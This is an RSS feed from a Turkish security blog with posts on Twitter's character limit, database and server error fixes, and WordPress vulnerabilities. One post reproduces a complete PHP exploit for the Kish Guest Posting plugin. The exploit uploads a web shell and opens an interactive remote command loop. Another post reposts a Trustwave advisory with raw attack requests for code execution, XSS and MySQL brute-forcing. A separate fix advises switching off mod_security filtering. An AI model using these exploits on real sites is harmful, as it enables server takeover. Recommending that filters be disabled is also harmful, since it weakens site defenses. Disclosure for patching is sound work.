<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>SanalTEAM Internet Security</title>
	<atom:link href="http://www.sanalteam.com/feed" rel="self" type="application/rss+xml" />
	<link>http://www.sanalteam.com</link>
	<description>Yazılım Bilişim Bilgisayar ve İnternet Güvenliği</description>
	<lastBuildDate>Thu, 15 Mar 2012 13:02:42 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.2</generator>
		<item>
		<title>Twitterde 140 karakter den fazla Mesaj Yazma</title>
		<link>http://www.sanalteam.com/guvenlik-aciklari/twitterde-140-karakter-den-fazla-mesaj-yazma.html</link>
		<comments>http://www.sanalteam.com/guvenlik-aciklari/twitterde-140-karakter-den-fazla-mesaj-yazma.html#comments</comments>
		<pubDate>Thu, 15 Mar 2012 12:57:50 +0000</pubDate>
		<dc:creator>bayramozdem</dc:creator>
				<category><![CDATA[Güvenlik Açıkları]]></category>
		<category><![CDATA[Twitter Hack]]></category>

		<guid isPermaLink="false">http://www.sanalteam.com/?p=26</guid>
		<description><![CDATA[Öncelikle Şuradan programı indiriyorsunuz.. http://qip.ru/download_qip_2012  adresine girip yeşil butona tıklayın. Daha sonra twitter kısmından Giriş yapıyorsunuz&#8230; &#160; Programda Görülen Yere tıklayın&#8230; Aşağıdaki gibi bir mesaj yaz bölümü gelecek.. O kısıma aşağıdaki verilen yazıyı yapıştırın.. Buraya yazacağınız mesajı şu Adresten Kopyalayın: http://pastebin.com/y3D6qvbx Ve Sonuç]]></description>
			<content:encoded><![CDATA[<p>Öncelikle Şuradan programı indiriyorsunuz..<br />
<a href="http://qip.ru/download_qip_2012" rel="nofollow" target="_blank">http://qip.ru/download_qip_2012</a>  adresine girip yeşil butona tıklayın.</p>
<p>Daha sonra twitter kısmından Giriş yapıyorsunuz&#8230;</p>
<p>&nbsp;</p>
<p>Programda Görülen Yere tıklayın&#8230;</p>
<p><a href="http://www.sanalteam.com/wp-content/uploads/1.png"><img class="alignnone size-full wp-image-27" title="1" src="http://www.sanalteam.com/wp-content/uploads/1.png" alt="" width="214" height="214" /></a></p>
<p>Aşağıdaki gibi bir mesaj yaz bölümü gelecek.. O kısıma aşağıdaki verilen yazıyı yapıştırın..</p>
<p><a href="http://www.sanalteam.com/wp-content/uploads/2.png"><img class="alignnone size-medium wp-image-28" title="2" src="http://www.sanalteam.com/wp-content/uploads/2-300x247.png" alt="" width="300" height="247" /></a></p>
<p>Buraya yazacağınız mesajı şu Adresten Kopyalayın: http://pastebin.com/y3D6qvbx</p>
<p>Ve Sonuç<br />
<a href="http://www.sanalteam.com/wp-content/uploads/3.png"><img src="http://www.sanalteam.com/wp-content/uploads/3-300x217.png" alt="" title="3" width="300" height="217" class="alignnone size-medium wp-image-29" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.sanalteam.com/guvenlik-aciklari/twitterde-140-karakter-den-fazla-mesaj-yazma.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Twitter&#8217;ın 140 karakter sınırı Hacked</title>
		<link>http://www.sanalteam.com/genel/twitterin-140-karakter-siniri-hacked.html</link>
		<comments>http://www.sanalteam.com/genel/twitterin-140-karakter-siniri-hacked.html#comments</comments>
		<pubDate>Wed, 14 Mar 2012 18:38:22 +0000</pubDate>
		<dc:creator>bayramozdem</dc:creator>
				<category><![CDATA[Genel]]></category>
		<category><![CDATA[Güvenlik Açıkları]]></category>
		<category><![CDATA[CESU-8]]></category>
		<category><![CDATA[CESU-8 format]]></category>

		<guid isPermaLink="false">http://www.sanalteam.com/?p=22</guid>
		<description><![CDATA[Kazak kullanıcı 140 karakterlik Twitter mesaj limitini 930 karakterlik bir mesaj atarak kırdı. Twitter&#8217;ın 140 karakterlik mesaj limiti bazen yetersiz kalıyor tabii ki. Ama bu 140 karakter limitinin olmaması dev bir görüntü ve bilgi kirliliğine de sebep olurdu ve Twitter bugünkü kadar çekici olmazdı diye düşünüyorum. Bu limiti kırmak istediğimizde dış bir web servisi kullanarak, [...]]]></description>
			<content:encoded><![CDATA[<p>Kazak kullanıcı 140 karakterlik Twitter mesaj limitini 930 karakterlik bir mesaj atarak kırdı.</p>
<p>Twitter&#8217;ın 140 karakterlik mesaj limiti bazen yetersiz kalıyor tabii ki. Ama bu 140 karakter limitinin olmaması dev bir görüntü ve bilgi kirliliğine de sebep olurdu ve Twitter bugünkü kadar çekici olmazdı diye düşünüyorum. Bu limiti kırmak istediğimizde dış bir web servisi kullanarak, yönlendirme yaparak istediğimiz kadar uzun mesajlar gönderebiliyoruz. Bir Kazak kullanıcı ise &#8220;140 karakter de bana mı 140 karakter?&#8221; diyerek tam 930 karakterlik bir mesajı Twitter üzerinden takipçilerine göndermiş.</p>
<p>&nbsp;</p>
<p>Tabii bu 930 karakterin bir anlamı yok aslında. Kazakistanlı kullanıcı normalde UTF-8 formatında gönderilmesi gereken mesaja CESU-8 formatında karakterler girmeyi başarmış. Normalde Twitter&#8217;ın CESU-8 formatlı karakter ayraçlarını kabul etmemesi gerekirken, Anatoly bunu yapmayı başarmış.</p>
<p>Haber görselinde gördüğünüz 930 karakterlik mesaj aslında aşağıdaki metinden ibaret:</p>
]]></content:encoded>
			<wfw:commentRss>http://www.sanalteam.com/genel/twitterin-140-karakter-siniri-hacked.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Yedek yüklerken SQL hatası  ” #1007 – Can’t create database ‘database_ismi’; database exists ” hatası çözümü</title>
		<link>http://www.sanalteam.com/genel/yedek-yuklerken-sql-hatasi-1007-cant-create-database-database_ismi-database-exists-hatasi-cozumu.html</link>
		<comments>http://www.sanalteam.com/genel/yedek-yuklerken-sql-hatasi-1007-cant-create-database-database_ismi-database-exists-hatasi-cozumu.html#comments</comments>
		<pubDate>Sun, 04 Mar 2012 20:04:05 +0000</pubDate>
		<dc:creator>bayramozdem</dc:creator>
				<category><![CDATA[Genel]]></category>

		<guid isPermaLink="false">http://www.sanalteam.com/?p=20</guid>
		<description><![CDATA[Hazır cms portallarında yedek almak ve yüklemek her zaman riskli ve bir o kadar da zahmetli iş olmuştur. Cms sistemlerinde yedek yüklerken çok sık karşılaşılan bir sorundur. “#1007 – Can’t create database ‘database_ismi’; database exists ” bu sorunu çözmek için çok kolay bir yöntemimiz var. Bu hata da ”database_ismi database i oluşturulamadı bu database var.” [...]]]></description>
			<content:encoded><![CDATA[<p>Hazır cms portallarında yedek almak ve yüklemek her zaman riskli ve bir o kadar da zahmetli iş olmuştur. Cms sistemlerinde yedek yüklerken çok sık karşılaşılan bir sorundur. “#1007 – Can’t create database ‘database_ismi’; database exists ” bu sorunu çözmek için çok kolay bir yöntemimiz var.</p>
<p>Bu hata da ”database_ismi database i oluşturulamadı bu database var.” diyor. Phpmyadmin aldığımız sql yedeğimizinin başına ” Veritabanı: `database_ismi`–CREATE DATABASE `database_ismi` DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci;USE `database_kullanıcıismi`; diye bir satır ekler bu satırı sildiğimiz de aldığımız hatayı bir daha almayacağız.</p>
<p>Unutmayın ki yedeğimizi yüklerken database boş olması gerekir boş olmassa yine bu hatayı alırız. Herhangi bir sorun olursa konu altında yorum ile sorunlarınızı belirtebilirsiniz.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.sanalteam.com/genel/yedek-yuklerken-sql-hatasi-1007-cant-create-database-database_ismi-database-exists-hatasi-cozumu.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>cannot contain &#8216;..&#8217; to indicate the parent directory Hatası Çözümü</title>
		<link>http://www.sanalteam.com/genel/cannot-contain-to-indicate-the-parent-directory.html</link>
		<comments>http://www.sanalteam.com/genel/cannot-contain-to-indicate-the-parent-directory.html#comments</comments>
		<pubDate>Sun, 04 Mar 2012 17:03:08 +0000</pubDate>
		<dc:creator>bayramozdem</dc:creator>
				<category><![CDATA[Genel]]></category>

		<guid isPermaLink="false">http://www.sanalteam.com/?p=17</guid>
		<description><![CDATA[Aşağıdaki hatayı alanlar iiçin çözüm yolu&#8230;. Active Server Pages error &#8216;ASP 0131&#8242; Disallowed Parent Path /Inc/includes.asp, line 1 The Include file &#8216;../xxx.asp&#8217; cannot contain &#8216;..&#8217; to indicate the parent directory böyle bir hata veriyorsa parent path hatasıdır. eğer sunucu sizin değilse ve plesk panel kullanıyorsanız Plesk paneldende ayarlayabiliyorsunuz.. Active Server Pages error &#8216;ASP 0131&#8242; Disallowed [...]]]></description>
			<content:encoded><![CDATA[<p>Aşağıdaki hatayı alanlar iiçin çözüm yolu&#8230;. Active Server Pages error &#8216;ASP 0131&#8242;<br />
Disallowed Parent Path<br />
/Inc/includes.asp, line 1<br />
The Include file &#8216;../xxx.asp&#8217; cannot contain &#8216;..&#8217; to indicate the parent directory<br />
böyle bir hata veriyorsa parent path hatasıdır.<br />
eğer sunucu sizin değilse ve plesk panel kullanıyorsanız Plesk paneldende ayarlayabiliyorsunuz..<br />
Active Server Pages error &#8216;ASP 0131&#8242;<br />
Disallowed Parent Path<br />
/Inc/includes.asp, line 1<br />
The Include file &#8216;../Ayarlar.asp&#8217; cannot contain &#8216;..&#8217; to indicate the parent directory<span id="more-17"></span><br />
Bu Hata Server&#8217;inizdan Kaynaklanıyor.. Sorunu Çözmek İçin Plesk Panele Giriş Yapın. Web Dizinlerinni Bulun (Resim 1)<br />
<img src="http://www.aspkafem.com/yardim/1.jpg" alt="" border="0" /><br />
Web Dizinlerine girdiğinizde karşınıza aşağıdaki gibi bir sayfa çıkacaktır&#8230;<br />
<img src="http://www.aspkafem.com/yardim/2.jpg" alt="" border="0" /><br />
Buradan Ayarlar a girdikten sonra karşınıza son olarak aşağıdaki gibi bir sayfa çıkıyor.<br />
<img src="http://www.aspkafem.com/yardim/3.jpg" alt="" border="0" /><br />
Parent paths etkin kıl seçeceğini aktif yapıyoruz ve tamam diyerek işlemler kaydoluyor. bundan sonra server da bir karakter geri gelinebiliyor..</p>
]]></content:encoded>
			<wfw:commentRss>http://www.sanalteam.com/genel/cannot-contain-to-indicate-the-parent-directory.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WordPress 406 Not Acceptable Hatasi</title>
		<link>http://www.sanalteam.com/genel/wordpress-406-not-acceptable-hatasi.html</link>
		<comments>http://www.sanalteam.com/genel/wordpress-406-not-acceptable-hatasi.html#comments</comments>
		<pubDate>Wed, 08 Feb 2012 13:10:15 +0000</pubDate>
		<dc:creator>bayramozdem</dc:creator>
				<category><![CDATA[Genel]]></category>
		<category><![CDATA[406 Not Acceptable]]></category>
		<category><![CDATA[406 Not Acceptable This request is not acceptable]]></category>
		<category><![CDATA[This request is not acceptable]]></category>
		<category><![CDATA[wp 406 Not Acceptable This request is not acceptable]]></category>

		<guid isPermaLink="false">http://www.sanalteam.com/?p=11</guid>
		<description><![CDATA[406 Not Acceptable This request is not acceptable Powered By LiteSpeed Web Server LiteSpeed Technologies Büyük ihtimalle LiteSpeed serverda wordpress kullanıyor ve post/page içine “image” import ettiğinizde bu hatayı almış olmalısınız. Hatanın çözümü için .htaccess dosyasını kullanmamız gerekiyor. Ftp’den sitenize bağlanıp .htaccess dosyanıza aşağıdaki kodu eklemeniz gerekiyor. &#160; &#60;IfModule mod_security.c&#62; SecFilterEngine Off SecFilterScanPOST Off &#60;/IfModule&#62;]]></description>
			<content:encoded><![CDATA[<p><code>406 Not Acceptable<br />
This request is not acceptable<br />
Powered By LiteSpeed Web Server LiteSpeed Technologies</code></p>
<p>Büyük ihtimalle LiteSpeed serverda wordpress kullanıyor ve post/page içine “image” import ettiğinizde bu hatayı almış olmalısınız. Hatanın çözümü için .htaccess dosyasını kullanmamız gerekiyor. Ftp’den sitenize bağlanıp .htaccess dosyanıza aşağıdaki kodu eklemeniz gerekiyor.</p>
<p>&nbsp;</p>
<p>&lt;IfModule mod_security.c&gt;<br />
SecFilterEngine Off<br />
SecFilterScanPOST Off<br />
&lt;/IfModule&gt;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.sanalteam.com/genel/wordpress-406-not-acceptable-hatasi.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WordPress Kish Guest Posting Plugin 1.0 Arbitrary File Upload</title>
		<link>http://www.sanalteam.com/genel/wordpress-kish-guest-posting-plugin-1-0-arbitrary-file-upload.html</link>
		<comments>http://www.sanalteam.com/genel/wordpress-kish-guest-posting-plugin-1-0-arbitrary-file-upload.html#comments</comments>
		<pubDate>Thu, 26 Jan 2012 17:40:15 +0000</pubDate>
		<dc:creator>bayramozdem</dc:creator>
				<category><![CDATA[Genel]]></category>

		<guid isPermaLink="false">http://www.sanalteam.com/?p=7</guid>
		<description><![CDATA[Kısıtlamasız dosya gönderme açığıdır. Exploid aşağıdaki gibidir.. İnceleyerek gerekli güvenlik önlemlerini almalısınız&#8230; &#60;?php /* -------------------------------------------------------------------------------- Wordpress Kish Guest Posting Plugin 1.0 (uploadify.php) Unrestricted File Upload -------------------------------------------------------------------------------- author............: Egidio Romano aka EgiX mail..............: n0b0d13s[at]gmail[dot]com software link.....: http://kishpress.com/guest-posting-plugin/ +-------------------------------------------------------------------------+ &#124; This proof of concept code was written for educational purpose only. &#124; &#124; Use it at your [...]]]></description>
			<content:encoded><![CDATA[<p>Kısıtlamasız dosya gönderme açığıdır. Exploid aşağıdaki gibidir.. İnceleyerek gerekli güvenlik önlemlerini almalısınız&#8230;<br />
<span id="more-7"></span><br />
<code></p>
<p>&lt;?php</p>
<p>/*<br />
--------------------------------------------------------------------------------<br />
Wordpress Kish Guest Posting Plugin 1.0 (uploadify.php) Unrestricted File Upload<br />
--------------------------------------------------------------------------------</p>
<p>author............: Egidio Romano aka EgiX<br />
mail..............: n0b0d13s[at]gmail[dot]com<br />
software link.....: http://kishpress.com/guest-posting-plugin/</p>
<p>+-------------------------------------------------------------------------+<br />
| This proof of concept code was written for educational purpose only. |<br />
| Use it at your own risk. Author will be not responsible for any damage. |<br />
+-------------------------------------------------------------------------+</p>
<p>[-] vulnerable code in /uploadify/scripts/uploadify.php</p>
<p>26. if (!empty($_FILES)) {<br />
27. $tempFile = $_FILES['Filedata']['tmp_name'];<br />
28. $targetPath = $_SERVER['DOCUMENT_ROOT'] . $_REQUEST['folder'] . '/';<br />
29. $targetFile = str_replace('//','/',$targetPath) . $_FILES['Filedata']['name'];<br />
30. // $fileTypes = str_replace('*.','',$_REQUEST['fileext']);<br />
31. // $fileTypes = str_replace(';','|',$fileTypes);<br />
32. // $typesArray = split('\|',$fileTypes);<br />
33. // $fileParts = pathinfo($_FILES['Filedata']['name']);<br />
34.<br />
35. // if (in_array($fileParts['extension'],$typesArray)) {<br />
36. // Uncomment the following line if you want to make the directory if it doesn't exist<br />
37. // mkdir(str_replace('//','/',$targetPath), 0755, true);<br />
38.<br />
39. move_uploaded_file($tempFile,$targetFile);<br />
40. echo str_replace($_SERVER['DOCUMENT_ROOT'],'',$targetFile);<br />
41. // } else {<br />
42. // echo 'Invalid file type.';<br />
43. // }<br />
44. }</p>
<p>Restricted access to this script isn't properly realized, so an attacker might be able to upload<br />
arbitrary files containing malicious PHP code due to uploaded file extension isn't properly checked.</p>
<p>[-] Disclosure timeline:</p>
<p>[19/12/2011] - Vulnerability discovered<br />
[19/12/2011] - Vendor notified through http://kish.in/contact-me/<br />
[07/01/2012] - No response from vendor, notified again via email<br />
[16/01/2012] - After four weeks still no response<br />
[23/01/2012] - Public disclosure</p>
<p>*/</p>
<p>error_reporting(0);<br />
set_time_limit(0);<br />
ini_set("default_socket_timeout", 5);</p>
<p>function http_send($host, $packet)<br />
{<br />
if (!($sock = fsockopen($host, 80)))<br />
die("\n[-] No response from {$host}:80\n");</p>
<p>fputs($sock, $packet);<br />
return stream_get_contents($sock);<br />
}</p>
<p>print "\n+----------------------------------------------------------------------------------+";<br />
print "\n| WordPress Kish Guest Posting Plugin 1.0 Unrestricted File Upload Exploit by EgiX |";<br />
print "\n+----------------------------------------------------------------------------------+\n";</p>
<p>if ($argc &lt; 3)<br />
{<br />
print "\nUsage......: php $argv[0] &lt;host&gt; &lt;path&gt;\n";<br />
print "\nExample....: php $argv[0] localhost /";<br />
print "\nExample....: php $argv[0] localhost /wordpress/\n";<br />
die();<br />
}</p>
<p>$host = $argv[1];<br />
$path = $argv[2];</p>
<p>$payload = "--o0oOo0o\r\n";<br />
$payload .= "Content-Disposition: form-data; name=\"Filedata\"; filename=\"sh.php\"\r\n\r\n";<br />
$payload .= "&lt;?php error_reporting(0); print(___); passthru(base64_decode(\$_SERVER[HTTP_CMD]));\r\n";<br />
$payload .= "--o0oOo0o--\r\n";</p>
<p>$packet = "POST {$path}wp-content/plugins/kish-guest-posting/uploadify/scripts/uploadify.php?folder={$path} HTTP/1.0\r\n";<br />
$packet .= "Host: {$host}\r\n";<br />
$packet .= "Content-Length: ".strlen($payload)."\r\n";<br />
$packet .= "Content-Type: multipart/form-data; boundary=o0oOo0o\r\n";<br />
$packet .= "Connection: close\r\n\r\n{$payload}";</p>
<p>if (!preg_match('/sh.php/', http_send($host, $packet))) die("\n[-] Upload failed!\n");</p>
<p>$packet = "GET {$path}sh.php HTTP/1.0\r\n";<br />
$packet .= "Host: {$host}\r\n";<br />
$packet .= "Cmd: %s\r\n";<br />
$packet .= "Connection: close\r\n\r\n";</p>
<p>while(1)<br />
{<br />
print "\nkish-shell# ";<br />
if (($cmd = trim(fgets(STDIN))) == "exit") break;<br />
$response = http_send($host, sprintf($packet, base64_encode($cmd)));<br />
preg_match('/___(.*)/s', $response, $m) ? print $m[1] : die("\n[-] Exploit failed!\n");<br />
}</p>
<p>?&gt;</p>
<p></code></p>
]]></content:encoded>
			<wfw:commentRss>http://www.sanalteam.com/genel/wordpress-kish-guest-posting-plugin-1-0-arbitrary-file-upload.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WordPress  3.3.1 Çoklu Güvenlik Açıkları</title>
		<link>http://www.sanalteam.com/guvenlik-aciklari/wordpress-3-3-1-coklu-guvenlik-aciklari.html</link>
		<comments>http://www.sanalteam.com/guvenlik-aciklari/wordpress-3-3-1-coklu-guvenlik-aciklari.html#comments</comments>
		<pubDate>Thu, 26 Jan 2012 17:32:15 +0000</pubDate>
		<dc:creator>bayramozdem</dc:creator>
				<category><![CDATA[Güvenlik Açıkları]]></category>

		<guid isPermaLink="false">http://www.sanalteam.com/?p=4</guid>
		<description><![CDATA[WordPressin en Son çıkan güvenlik açığıdır.. Exploid ve bilgiler aşağıda verilmiştir..sistemlerinizdeki açıklarınızı kapatabilirsiniz.. &#160; Trustwave&#8217;s SpiderLabs Security Advisory TWSL2012-002: Multiple Vulnerabilities in WordPress https://www.trustwave.com/spiderlabs/advisories/TWSL2012-002.txt Published: 1/24/12 Version: 1.0 Vendor: WordPress (http://wordpress.org/) Product: WordPress Version affected: 3.3.1 and prior Product description: WordPress is a free and open source blogging tool and publishing platform powered by PHP [...]]]></description>
			<content:encoded><![CDATA[<p>WordPressin en Son çıkan güvenlik açığıdır..<br />
Exploid ve bilgiler aşağıda verilmiştir..sistemlerinizdeki açıklarınızı kapatabilirsiniz..</p>
<p>&nbsp;<br />
<span id="more-4"></span><br />
Trustwave&#8217;s SpiderLabs Security Advisory TWSL2012-002:</p>
<p>Multiple Vulnerabilities in WordPress</p>
<p>https://www.trustwave.com/spiderlabs/advisories/TWSL2012-002.txt</p>
<p>Published: 1/24/12<br />
Version: 1.0</p>
<p>Vendor: WordPress (http://wordpress.org/)<br />
Product: WordPress<br />
Version affected: 3.3.1 and prior</p>
<p>Product description:<br />
WordPress is a free and open source blogging tool and publishing platform<br />
powered by PHP and MySQL.</p>
<p>Credit: Jonathan Claudius of Trustwave SpiderLabs</p>
<p>Finding 1: PHP Code Execution and Persistent Cross Site Scripting<br />
Vulnerabilities via &#8216;setup-config.php&#8217; page.<br />
CVE: CVE-2011-4899</p>
<p>The WordPress &#8216;setup-config.php&#8217; installation page allows users to install<br />
WordPress in local or remote MySQL databases. This typically requires a user<br />
to have valid MySQL credentials to complete. However, a malicious user can<br />
host their own MySQL database server and can successfully complete the<br />
WordPress installation without having valid credentials on the target system.</p>
<p>After the successful installation of WordPress, a malicious user can inject<br />
malicious PHP code via the WordPress Themes editor. In addition, with control<br />
of the database store, malicious Javascript can be injected into the content<br />
of WordPress yielding persistent Cross Site Scripting.</p>
<p>Proof of Concept:</p>
<p>Servers Involved</p>
<p>A.B.C.D = Target WordPress Web Server<br />
W.X.Y.Z = Malicious User&#8217;s MySQL Instance</p>
<p>1.) Malicious User hosts their own MySQL instance at W.X.Y.Z on port 3306</p>
<p>2.) Performs POST/GET Requests to Install WordPress into MySQL Instance</p>
<p>Request #1<br />
&#8212;&#8212;&#8212;-<br />
POST /wp-admin/setup-config.php?step=2 HTTP/1.1<br />
Host: A.B.C.D<br />
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:8.0.1) Gecko/20100101 Firefox/8.0.1<br />
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8<br />
Accept-Language: en-us,en;q=0.5<br />
Accept-Encoding: gzip, deflate<br />
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7<br />
Proxy-Connection: keep-alive<br />
Referer: http://A.B.C.D/wp-admin/setup-config.php?step=1<br />
Cookie: wp-settings-time-1=1322687480; wp-settings-1=m9%3Do<br />
Content-Type: application/x-www-form-urlencoded<br />
Content-Length: 81</p>
<p>dbname=wordpress&amp;uname=jsmith&amp;pwd=jsmith&amp;dbhost=W.X.Y.Z&amp;prefix=wp_&amp;submit=Submit</p>
<p>Request #2<br />
&#8212;&#8212;&#8212;-<br />
GET /wp-admin/install.php HTTP/1.1<br />
Host: A.B.C.D<br />
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:8.0.1) Gecko/20100101 Firefox/8.0.1<br />
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8<br />
Accept-Language: en-us,en;q=0.5<br />
Accept-Encoding: gzip, deflate<br />
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7<br />
Proxy-Connection: keep-alive<br />
Referer: http://A.B.C.D/wp-admin/setup-config.php?step=2<br />
Cookie: wp-settings-time-1=1322687480; wp-settings-1=m9%3Do<br />
If-Modified-Since: Wed, 07 Dec 2011 16:03:33 GMT</p>
<p>3.) Get PHP Code Execution</p>
<p>Malicious user edits 404.php via Themes Editor as follows:</p>
<p>&nbsp;</p>
<p>Note #1: Any php file in the theme could be used.<br />
Note #2: Depending settings, PHP may be used to execute system commands<br />
on webserver.</p>
<p>Malicious user performs get request of modified page to execute code.</p>
<p>Request<br />
&#8212;&#8212;-<br />
GET /wp-content/themes/default/404.php HTTP/1.1<br />
Host: A.B.C.D<br />
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:8.0.1) Gecko/20100101 Firefox/8.0.1</p>
<p>4.) Get Persistent Cross Site Scripting</p>
<p>Malicious User Injects Malicious Javascript into their own MySQL database instance</p>
<p>MySQL Query<br />
&#8212;&#8212;&#8212;&#8211;<br />
update wp_comments SET<br />
comment_content=&#8217;<script type="text/javascript">// <![CDATA[
 alert('123')
// ]]&gt;</script>&#8216; where comment_content=&#8217;Hi,<br />
this is a comment.<br />
To delete \ a comment, just log in and view the<br />
post&#8217;s comments. There you will have the option to edit or delete<br />
them.&#8217;;</p>
<p>Non-malicious User Visits WordPress installation and has Javascript executed on their browser</p>
<p>Request<br />
&#8212;&#8212;-<br />
GET /?p=1 HTTP/1.1<br />
Host: A.B.C.D<br />
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:8.0.1) Gecko/20100101 Firefox/8.0.1</p>
<p>Finding 2: Multiple Cross Site Scripting Vulnerabilities in<br />
&#8216;setup-config.php&#8217; page<br />
CVE: CVE-2012-0782</p>
<p>The WordPress &#8216;setup-config.php&#8217; installation page allows users to install<br />
WordPress in local or remote MySQL databases. When using this installation page<br />
the user is asked to supply the database name, the server that the database<br />
resides on, and a valid MySQL username and password.</p>
<p>During this process, malicious users can supply javascript within<br />
the &#8220;dbname&#8221;, &#8220;dbhost&#8221; or &#8220;uname&#8221; parameters. Upon clicking the submission<br />
button, the javascript is rendered in the client&#8217;s browser.</p>
<p>Proof of Concept:</p>
<p>Servers Involved</p>
<p>A.B.C.D = Target WordPress Web Server</p>
<p>Request<br />
&#8212;&#8212;-<br />
POST /wp-admin/setup-config.php?step=2 HTTP/1.1<br />
Host: A.B.C.D<br />
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:8.0.1) Gecko/20100101 Firefox/8.0.1<br />
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8<br />
Accept-Language: en-us,en;q=0.5<br />
Accept-Encoding: gzip, deflate<br />
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7<br />
Proxy-Connection: keep-alive<br />
Referer: http://A.B.C.D/wp-admin/setup-config.php?step=1<br />
Content-Type: application/x-www-form-urlencoded<br />
Content-Length: 112</p>
<p>dbname=%3Cscript%3Ealert%28%27123%27%29%3C%2Fscript%3E&amp;uname=root&amp;pwd=&amp;dbhost=localhost&amp;prefix=wp_&amp;submit=Submit</p>
<p>Finding 3: MySQL Server Username/Password Disclosure Vulnerability via<br />
&#8216;setup-config.php&#8217; page<br />
CVE: CVE-2011-4898</p>
<p>The WordPress &#8216;setup-config.php&#8217; installation page allows users to install<br />
WordPress in local or remote MySQL databases. When using this installation page<br />
the user is asked to supply the database name, the server the database resides<br />
on, and a valid MySQL username and password.</p>
<p>Malicious users can omit the &#8220;dbname&#8221; parameter during this process, allowing<br />
them to continually bruteforce MySQL instance usernames and passwords. This<br />
includes any local or remote MySQL instances which are accessible to the<br />
target web server. This can also be used as a method to proxy MySQL bruteforce<br />
attacks against other MySQL instances outside of the target organization.</p>
<p>Proof of Concept:</p>
<p>Servers Involved</p>
<p>A.B.C.D = Target WordPress Web Server<br />
L.M.N.O = Any MySQL Server for which the Web Server has network access</p>
<p>Request<br />
&#8212;&#8212;-<br />
POST /wp-admin/setup-config.php?step=2 HTTP/1.1<br />
Host: A.B.C.D<br />
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:8.0.1) Gecko/20100101 Firefox/8.0.1<br />
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8<br />
Accept-Language: en-us,en;q=0.5<br />
Accept-Encoding: gzip, deflate<br />
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7<br />
Proxy-Connection: keep-alive<br />
Referer: http://A.B.C.D/wp-admin/setup-config.php?step=1<br />
Content-Type: application/x-www-form-urlencoded<br />
Content-Length: 32</p>
<p>uname=mysql&amp;pwd=mysql&amp;dbhost=L.M.N.O</p>
<p>Response (If Password is Valid)<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>We were able to connect to the database server (which means your username<br />
and password is okay) but not able to select the database.</p>
<p>Response (If Password is Invalid)<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>This either means that the username and password information in your<br />
wp-config.php file is incorrect or we can&#8217;t contact the database server at<br />
localhost. This could mean your host&#8217;s database server is down.</p>
<p>Vendor Response:<br />
Due to the fact that the component in question is an installation script,<br />
the vendor has stated that the attack surface is too small to warrant<br />
a fix:</p>
<p>&#8220;We give priority to a better user experience at the install process. It is<br />
unlikely a user would go to the trouble of installing a copy of WordPress<br />
and then not finishing the setup process more-or-less immediately. The<br />
window of opportunity for exploiting such a vulnerability is very small.&#8221;</p>
<p>However, Trustwave SpiderLabs urges caution in situations where the<br />
WordPress installation script is provided as part of a default image.<br />
This is often done as a convenience on hosting providers, even in<br />
cases where the client does not use the software. It is a best practice<br />
to ensure that no installation scripts are exposed to outsiders, and<br />
these vulnerabilities reinforce the importance of this step.</p>
<p>Remediation Steps:<br />
No official fix for these issues will be released for the WordPress<br />
publishing platform. However, administrators can mitigate these issues by<br />
creating strong MySQL passwords and defining rules within a web application<br />
firewall (WAF) solution. ModSecurity (http://www.modsecurity.org/) has<br />
added rules to the commercial rules feed for these issues, and Trustwave&#8217;s<br />
vulnerability scanning solution, TrustKeeper, has been updated to detect<br />
exposed installation scripts.</p>
<p>Vendor Communication Timeline:<br />
12/22/11 &#8211; Vulnerability disclosed<br />
01/16/12 &#8211; Confirmation to release vulnerabilities<br />
01/24/12 &#8211; Advisory published</p>
<p>References<br />
1. http://www.wordpress.org</p>
<p>About Trustwave:<br />
Trustwave is the leading provider of on-demand and subscription-based<br />
information security and payment card industry compliance management<br />
solutions to businesses and government entities throughout the world. For<br />
organizations faced with today&#8217;s challenging data security and compliance<br />
environment, Trustwave provides a unique approach with comprehensive<br />
solutions that include its flagship TrustKeeper compliance management<br />
software and other proprietary security solutions. Trustwave has helped<br />
thousands of organizations&#8211;ranging from Fortune 500 businesses and large<br />
financial institutions to small and medium-sized retailers&#8211;manage<br />
compliance and secure their network infrastructure, data communications and<br />
